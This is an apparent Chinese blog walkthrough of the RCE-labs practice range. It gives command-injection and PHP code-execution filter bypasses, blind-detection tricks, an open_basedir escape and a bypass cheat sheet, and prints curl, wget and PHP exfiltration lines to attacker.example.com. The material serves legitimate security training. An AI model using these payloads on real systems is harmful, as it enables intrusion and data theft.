看了网上这么多靶场推荐的帖子,从DVWA到upload-labs再到pikachu,介绍得都很全面,但专门围绕RCE做体系化训练的靶场反而很少被人提起。RCE-labs就是这么一个冷门但好用的存在,它的每一关都在围绕"远程代码执行"这个核心做文章,适合已经跑通DVWA基础漏洞、想在命令注入和代码执行层面系统进阶的人。这篇文章我按自己的通关过程来写,从环境搭建到绕过思路、再到盲打的判断方法,尽量把值得注意的细节都讲清楚。
1. 搭环境这件事:先跑起来,再去研究怎么打
1.1 Docker方式部署
RCE-labs本身是一个PHP写的Web应用,我当时用的是Docker部署,一共三步。先拉取镜像,再启动容器,然后把8088端口映射到本机80端口,命令大概是这样的:
bash复制docker pull rce-labs/rce-labs:latest
docker run -d -p 80:8088 --name rce-labs rce-labs/rce-labs:latest
如果拉镜像比较慢,建议先配置国内镜像加速器,再重新执行拉取命令。容器起来之后,浏览器访问http://127.0.0.1就能看到关卡列表。
我踩过的一个小坑是容器内的PHP版本。新版RCE-labs默认PHP 7.x,很多老的利用技巧在PHP 5.x下效果完全不同。如果你用的镜像是旧版,容器里是PHP 5.2,那么像preg_replace的/e修饰符、assert字符串调用这些老姿势都能用;而PHP 7.x去掉了很多这类特性,绕不过去就得靠变量函数、回调函数来打。建议先用php -v看一眼当前版本,心里有数再开始。
1.2 手动部署方式
如果你不想用Docker,直接在本地装PHP+Nginx或Apache也能跑。需要注意几点:
- PHP版本建议5.x到7.x都行,但不同版本会影响部分关卡的绕过方式。
- 需要开启
allow_url_include,因为部分关卡会涉及远程文件包含或数据流包装器。 - 关闭
disable_functions里的system、exec、shell_exec等命令执行函数,否则关卡里的命令执行功能直接废掉。
我当时图省事,直接用的Docker。从后面通关的体验来看,Docker版本和最新关卡是匹配的,不需要自己改代码,手动部署更适合想边学边看源码的人。RCE-labs的开源项目里每个关卡都有对应的PHP文件,文件命名和关卡一一对应,想深入理解某道题的过滤逻辑,直接打开源码看就可以。
1.3 先摸清靶场页面的结构
页面打开后是一串数字编号的关卡,每一关都对应一种特定的过滤规则或场景。比较常见的类型有这么几类:
- 命令注入类:直接把用户输入拼接到shell命令中执行。
- 代码执行类:把用户输入放到
eval、assert、preg_replace等函数中执行。 - 变量覆盖类:通过
extract、parse_str等函数覆盖关键变量,间接控制执行流程。 - 进制转换/编码绕过类:后台有过滤黑名单,需要绕过关键字过滤。
通关前先花十分钟把题目列表过一遍,了解整个靶场大概覆盖哪些技术点,比你闷头一关一关点进去有效得多。到了后面几关,经常需要组合使用多个技巧,脑子里有了整体地图,组合时才会有方向。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 命令注入的第一层绕过:符号与空格
2.1 命令拼接符的取舍
RCE-labs前面的关卡主要考察命令拼接符。你输入的值会被拼到类似ping $ip的语句里,这时可以用;、&&、||、|、换行符%0a等方式让后续命令一起执行。
各符号的区别是关键:
;:无条件执行后面的命令,不管前面成功还是失败。&&:只有前面的命令成功才执行后面的命令。||:前面的命令失败才执行后面的命令。|:管道符,把前面的输出作为后面的输入。%0a:URL解码后是换行符,等于新起一行执行命令。
一个典型的payload长这样:
bash复制127.0.0.1; whoami
如果用户输入被拼到ping $ip里面,这条命令实际执行的是:
bash复制ping 127.0.0.1; whoami
这时候页面回显区会先显示ping的结果,再把当前用户名打印出来。类似地,127.0.0.1 && id也能达到同样效果,但只有ping成功才会执行id。
2.2 空格被过滤的替代写法
很多关卡会把空格过滤掉。用户输入里有空格直接拦截,这时候就要用一些不会触发过滤的字符代替空格。常用写法有这么几种:
${IFS}:Shell里的内部字段分隔符,默认包含空格、制表符、换行,在很多过滤场景下可以当空格用。$IFS$9:变量名和数字拼接,数字部分不参与命令执行,只作为分隔符。%09:URL编码的Tab字符,部分环境下等同于空格。{cat,/etc/passwd}:花括号展开语法,逗号前后会被展开成空格分隔的参数。这种写法有的版本好使,有的版本不好使,跟Shell实现有关。
实际测试中${IFS}最稳,$IFS$9在bash和sh里都能用,%09要看后端是否做URL解码,如果后端直接用$_GET['ip']取值,%09会被PHP自动解码成Tab,然后再拼进命令字符串,这样就能正常执行。我当时在RCE-labs某一关试过%20,后台把空格过滤了,但忘了过滤Tab,结果用%09直接把命令打了出来。
2.3 管道符与输入重定向
有些关卡用户输入会被拼到cat $input之类的语句后面,如果直接写cat /etc/passwd,变量替换后就变成cat cat /etc/passwd,命令执行会报错。这种情况下可以用管道把另一个命令的输出作为输入,或者利用重定向绕过。
例如输入/etc/passwd让命令变成cat /etc/passwd,这是常规思路。如果后台做的是system("cat ".$input)这种拼接,你输入/etc/passwd;whoami,实际执行的就是cat /etc/passwd;whoami,依然能拿到命令执行结果。
到了关卡中段,通常禁用的符号越来越多。;、|、&都进黑名单的情况也不少见。此时要充分利用Shell本身的特性,比如$(whoami)、反引号`whoami`、$()内联执行等方法。反引号在PHP里容易被误判,但放到命令注入场景里,Shell会执行反引号内的内容,再把执行结果替换到命令字符串里。像下面这种:
bash复制cat /etc/passwd
如果被过滤,可以写成:
bash复制cat $(ls)
假设当前目录下有flag文件,这条命令会把flag文件内容打印出来。这里的核心思路是让系统自己去找文件,而不是在payload里写死文件名,从而绕过文件名关键字的过滤。
3. 编码、拼接与动态执行:对抗关键字过滤
3.1 关键字被过滤时的常见玩法
当cat、flag、whoami这类关键字出现在黑名单时,直接用肯定不行。通常的做法是用Shell的字符串拼接来还原关键字。在bash里,c""at和c'a't都是合法的cat命令,因为Shell解析时会自动去掉空引号和转义符号。whoami可以写成who"am"i,/etc/passwd可以写成/et""c/passwd。
这种方法为什么有效?因为黑名单匹配的是完整的cat、flag字符串,如果输入中拆成了c""at,正则匹配时很可能匹配不到完整关键字,但Shell在执行时会把引号去掉再去找命令,最终还是cat。
RCE-labs里有一关对这个做了加强,把单引号、双引号、反引号全部过滤了。这种情况下可以用环境变量截断来动态构造命令。例如:
bash复制$(printf '\143\141\164') /etc/passwd
\143\141\164是cat的八进制表示,printf负责把八进制转成字符,然后再交给Shell执行。很多黑名单不会检查数字和反斜杠,所以这条路能走得通。
3.2 base64编码命令再交给Shell执行
如果是命令整体被过滤,可以用base64编码加管道的方式绕过。思路是把你要执行的命令先base64编码,然后通过echo把它打印出来,再用base64 -d解码,最后用bash执行解码后的内容。
bash复制echo 'd2hvYW1p' | base64 -d | bash
d2hvYW1p就是whoami的base64编码。这条命令实际执行的效果是:先把d2hvYW1p解码成whoami,再交给bash执行。对后端来说,它看到的是字符串echo 'd2hvYW1p' | base64 -d | bash,黑名单里通常不会有d2hvYW1p这样的字符,因此能绕过关键字匹配。
在RCE-labs里用到这个技巧时,有个细节要注意:base64解码后的字符串可能包含+、/、=这些特殊字符,如果它们落到了URL参数里,可能会被URL解码或过滤掉。稳妥的做法是先用Python或命令行的base64工具把命令编码好,URL里再对比一下编码结果,确保+被写成%2B,/被写成%2F。我一开始没注意,在浏览器URL里直接粘贴带+的编码串,结果后台把+当成了空格,解码后命令完全变了样,排查了好久才反应过来。
3.3 变量函数与动态调用
到达代码执行类关卡时,过滤规则针对的不再是Shell命令,而是PHP函数名。典型场景是用户输入直接被拼到eval($code)里,黑名单里禁掉了system、exec、shell_exec等常见函数名。此时可以直接换成可变变量和回调函数来调,比如$_GET['x']这种方式先把函数名放进另一个参数里。
一个最简单有效的payload:
http复制?code=$_GET[a]($_GET[b]);&a=system&b=id
实际效果是PHP把$a变量值system作为函数名调用,参数是$_GET['b']里的id,最终执行system("id")。这类写法在eval场景下几乎成了万能钥匙,它能绕过大部分针对函数名的黑名单,因为黑名单通常只检查函数名字符串本身,不会追踪变量内容。
还有一类常见手法是使用create_function。PHP 7.x以下版本create_function可以实现代码注入,原理是把两个字符串拼接成函数体的字符串再eval,拼接处就是注入点。RCE-labs早期版本关卡中有涉及create_function的题,但PHP 7.2之后这个函数被移除了。如果你用最新版Docker镜像,会直接报未定义函数,这时候就得转向变量函数和回调函数的思路。
3.4 编码绕过在PHP层面的表现
除了Shell层,PHP本身也支持各种编码后的函数执行。比如十六进制字符串在PHP 7.x的assert函数中可以被动态解析执行。经典payload是:
php复制assert('system($_GET[1])');
有些过滤会挡掉system,但char序号拼出来的字节能绕过。类似地,preg_replace的/e修饰符在PHP 5.x中是代码执行利器,把第二个参数当作PHP代码执行。写法是:
php复制preg_replace('/abc/e', 'phpinfo()', 'abc');
进入PHP 7.x后/e修饰符被移除,preg_replace_callback取而代之。靶场新版本对这类题也做了调整。通关时如果发现某个利用姿势在当前版本下不生效,先检查PHP版本,再检查关卡描述里提到的PHP版本要求,很多时候不是思路错了,而是环境不支持。
4. 无回显状态下的判断与外带
4.1 怎么判断命令到底执行没有
打到后面的关卡,页面可能不再回显命令执行结果。命令执行了但你什么都看不见,这时候就需要通过其他手段来判断是否执行成功。最常用的是时间盲打。如果能执行sleep,那就让系统多睡几秒,再看页面响应时间。
例如在命令注入点输入:
bash复制127.0.0.1; sleep 5
如果页面刷新后明显卡了5秒,说明sleep 5确实执行了,命令注入成立。进一步可以尝试条件判断,例如:
bash复制127.0.0.1; if [ -f /flag ]; then sleep 5; fi
这条命令的意思是:如果/flag文件存在,就睡5秒。利用这种盲判断,可以逐字符猜解flag内容。原理很简单,每个字符都是一个二选一的问题,做几十次问答就能拼出完整字符串。
4.2 外带数据的思路
如果时间盲打效率太低,可以尝试把命令执行结果外带出来。最稳的方式是让目标机器向自己可控的接收端发起请求。本地实战里可以用一台自己的VPS或内网主机跑监听,让目标机器把命令输出拼到请求参数里打过来。
一个简单的例子:
bash复制whoami | curl http://attacker.example.com/$(whoami)
如果目标环境没有curl,也可以用wget:
bash复制whoami | wget --post-data="data=$(whoami)" http://attacker.example.com/
这种做法在真实授权测试中很常见,在本地靶场练习也完全适用。做外带实验时,要提前把接收端准备好,我这边是用Python起了一个临时HTTP服务,直接看访问日志:
bash复制python3 -m http.server 8888
然后让靶场执行命令时把结果拼到请求路径里。日志里就会出现类似GET /root HTTP/1.1这样的记录,命令执行结果直接写在路径里,非常直观。
使用外带手段时有一点需要谨慎:命令输出里有特殊字符时,URL可能不识别。可以先对输出做base64编码再外带,例如:
bash复制echo $(whoami | base64) | curl -d @- http://attacker.example.com/
这样即使结果里有空格、斜杠、换行符,外带时也是纯字母数字,工具不挑。
4.3 无回显关卡的判断心法
对付无回显关卡,我的习惯是先做"ICMP测试"。在本地实验环境或授权环境下,通过ping命令的流量判断目标是否能执行命令。例如:
bash复制127.0.0.1; ping -c 1 192.168.1.100
本地起一个tcpdump监听ICMP包,如果目标机器上的命令确实执行了,会看到对应的echo request。这是比较早期、也比较稳定的判断方式。但要注意,现在的很多练习环境禁止ICMP出网,而且这种方式依赖你自己的监听环境,更适合在本地靶场和授权测试中使用。常规生产环境别玩这个,容易误伤。
整体而言,无回显关卡的判断优先级是:优先找DNS外带或HTTP外带,实在没有出网通道再回到时间盲打。RCE-labs的无回显关卡设计得还算友好,一般会给一个可以出网的环境,用外带方式能大幅省时间。
5. 参数类型与语言特性:容易被忽略的坑
5.1 弱类型比较带来的机会
RCE-labs部分关卡考的不是过滤,而是PHP弱类型比较的利用方式。经典的场景是if ($_GET['key'] == "flag"),但由于用了==而不是===,所以只要传入一个和"flag"松散比较为真的值即可。
比较常见的是利用PHP字符串和数字的比较特性。PHP 8之前,"any_string" == 0是成立的,因为字符串会被强制转换成数字,非数字开头的字符串转换结果是0。所以如果你控制的是数字比较,输入0就能绕过。
如果比较对象是"flag"字符串,就不能简单传0。一种思路是用数组绕过。PHP的==比较中,如果一边是数组,另一边是非数组,PHP会尝试转换,很多时候数组和字符串比较都是false,但也有例外情况,比如在md5碰撞相关的关卡中,数组会导致md5函数返回null,两个null相等,从而绕过校验。RCE-labs里有一道题就是比较两个md5值,传数组参数a[]=1&b[]=2,md5($_GET['a'])和md5($_GET['b'])都是null,null == null成立,于是校验通过。
这类题的难点不在RCE本身,而是先要理解PHP的类型转换规则。好在靶场里只要把判断逻辑看明白,绕过方式就不难。
5.2 变量覆盖:从参数污染到任意代码执行
变量覆盖类关卡一般用parse_str或extract把用户参数变成变量,如果覆盖了程序里原本控制函数名的变量,就能进一步控制执行流程。
考虑这样一个简化版代码:
php复制$action = "safe_function";
extract($_GET);
call_user_func($action, $_GET['param']);
正常访问会调用safe_function,但通过extract($_GET),GET参数里的action会被覆盖成传入的新值。如果传入action=system¶m=id,那实际调用的是system("id"),实现命令执行。
RCE-labs里有一关就是这样设计的,关卡名大概叫变量覆盖到代码执行。关键在于了解参数的优先级,extract默认覆盖已有变量,所以GET参数里的同名变量会直接覆盖代码里的定义。如果代码里用的是parse_str($_SERVER['QUERY_STRING']),效果类似,只是来源是查询字符串。
这类场景下修复方案是给extract加前缀或改用extract时指定EXTR_SKIP,但靶场为了练习效果肯定故意不修。在实际代码审计中遇到extract($_GET)、parse_str($_SERVER['QUERY_STRING'])这类写法的,基本都是高危信号。
5.3 open_basedir与disable_functions的绕过练习
RCE-labs后期关卡偶尔会遇到open_basedir限制,PHP脚本只能访问指定目录,读取其他路径的文件会被拒绝。常规绕过方式是利用glob://协议或Symlink,在本地靶场中常见方式是把当前目录切换到可写目录,再配合chdir和ini_set绕。
比如PHP 5.x时代经典的绕过代码片段:
php复制mkdir('/tmp/abc'); chdir('/tmp/abc'); ini_set('open_basedir', '..'); chdir('..'); chdir('..'); chdir('..'); ini_set('open_basedir', '/'); echo file_get_contents('/etc/passwd');
这段思路是:利用mkdir和chdir把当前工作目录切到刚建的子目录,再通过ini_set('open_basedir', '..')把限制范围拓宽,循环几次后最终把open_basedir设置为根目录,从而读取任意位置的文件。
如果在实际代码审计里遇到这类限制,还需要配合disable_functions的绕过,比如通过FFI、ImageMagick、LD_PRELOAD等方式绕过。这部分在RCE-labs里不算主线,但掌握这些边界情况有助于理解RCE漏洞在真实环境中的利用边界,尤其在CTF和红队评估中经常遇到。
5.4 语言边界与函数差异
另一个容易踩坑的点是Linux和Shell版本导致的差异。wget、curl、nc、python、perl在不同的精简容器里可能缺省。同一个payload在本地Ubuntu能跑,换到Alpine容器就报command not found。
RCE-labs部分关卡是纯PHP环境,没有外部的curl、wget,这时候外带数据就得用PHP自身的函数,比如:
php复制file_get_contents("http://attacker.example.com/?data=" . base64_encode(system('whoami')));
或者用fsockopen自己写Socket发送HTTP请求。能用Python的话直接python3 -c起一个简单的HTTP客户端也行,但受限环境可能没有Python。优先用PHP内置函数是更稳妥的选择。
6. 通关之后的复盘:常见绕过速查与进阶方向
6.1 常用过滤与绕过的速查表
整个RCE-labs通关下来,最后可以整理出一份自己习惯使用的速查表。这里把常见过滤情况和对应思路列一下,方便以后做题时快速检索。
| 过滤场景 | 常见绕过思路 | 示例payload |
|---|---|---|
| 过滤空格 | ${IFS}、$IFS$9、%09、花括号展开 |
cat${IFS}/etc/passwd |
| 过滤关键命令字 | 引号拼接、base64、字符编码 | c""at /etc/passwd |
过滤管道符| |
$()内联执行、分号拼接 |
$(whoami) |
| 过滤系统函数名 | 变量函数、回调函数 | $_GET[a]($_GET[b]) |
| 无回显 | 延时盲打、HTTP/DNS外带 | ;sleep 5 |
| 弱类型比较 | 数组绕过、null==null |
a[]=1&b[]=2 |
| 变量覆盖 | 覆盖函数名变量、控制流程 | action=system¶m=id |
| open_basedir限制 | chdir+ini_set、glob:// |
切目录逐级放开限制 |
| 过滤引号 | 八进制转义、十六进制拼接 | $(printf '\143\141\164') |
这个表不是什么时候都通用,但至少在我遇到的靶场关卡里,大部分过滤都能从这张表里找到对应的解法。实际做题时优先试前三种,因为命令注入类占的比例最高,后续再根据关卡类型调整。
6.2 再进一步可以研究什么
RCE-labs只是RCE方向的一条训练线。通关之后我建议再往下面这几个方向继续深入:
- 代码审计:去看真实开源项目里RCE漏洞的形成过程,很多漏洞源自用户输入直接进入
eval、system、shell_exec等危险函数。结合RCE-labs里学的绕过思路,能更快在源码里定位可利用点。 - 日志投毒+包含:把恶意代码写入日志文件,再通过文件包含让PHP执行日志里的代码。这个思路在真实场景中很经典,和RCE-labs里的包含类关卡有异曲同工之处。
- 中间件漏洞:如FastCGI配置错误导致的命令执行、Tomcat弱口令部署war包等方式,它们不属于RCE-labs的范畴,但都属于RCE大类下必须掌握的技能。
- 内网穿透与横向移动:拿到一台服务器权限后,怎么在内网继续扩大战果,这是红队方向的进阶内容。很多内网靶场(比如红日靶场)都以此为主线。
我的建议是打完RCE-labs之后,不要急着挑战特别复杂的综合靶场,先返回去把DVWA的命令注入模块重新做一遍。你会发现很多之前看不懂的题目现在一眼就能看出过滤规则和绕过方法,这种感觉比单纯刷题更有成就感。
6.3 给刚开始打RCE-labs的人几点建议
通关过程中有几点体会,对刚上手的人应该有用:
第一,尽量自己手动注入,少用自动化工具。RCE-labs就是为了练习手工绕过思路,直接用sqlmap或Burp的自动fuzz功能虽然快,但学不到东西。建议第一遍完全手工,遇到卡住再看源码或搜提示,第二遍再用工具批量验证。
第二,多关注PHP版本和函数存在性。很多payload不生效不是过滤太强,而是当前PHP版本根本不支持这个函数。遇到这种情况先确认环境版本,调整利用姿势。我一开始在PHP 7.x环境下死磕create_function,最后发现函数压根不存在,换用变量函数后一下子就通了。
第三,不要忽略空白字符和URL编码。RCE-labs很多关卡过滤的是原始字符,而不是URL解码后的字符。有时候输入%0a代替分号、输入%09代替空格,能打破过滤器的判断逻辑。如果发现某种写法被过滤,先试试URL编码变化,再考虑其他方向的绕过。
第四,每次打通一关后,把题目里的payload复制下来,标注好用了什么技巧、过滤了什么、为什么能绕过。日积月累下来,这套笔记就是你自己的RCE手册,比任何公开的速查表都适合你。
RCE-labs本身题目数量不算多,但足够帮你把命令执行、代码执行、无回显判断、变量覆盖这几个关键环节打通。认真撸完一遍之后,再回到实战场景或综合靶场,你会发现很多在DVWA里只是"弹个窗"的漏洞,现在已经知道背后完整的利用链路了。
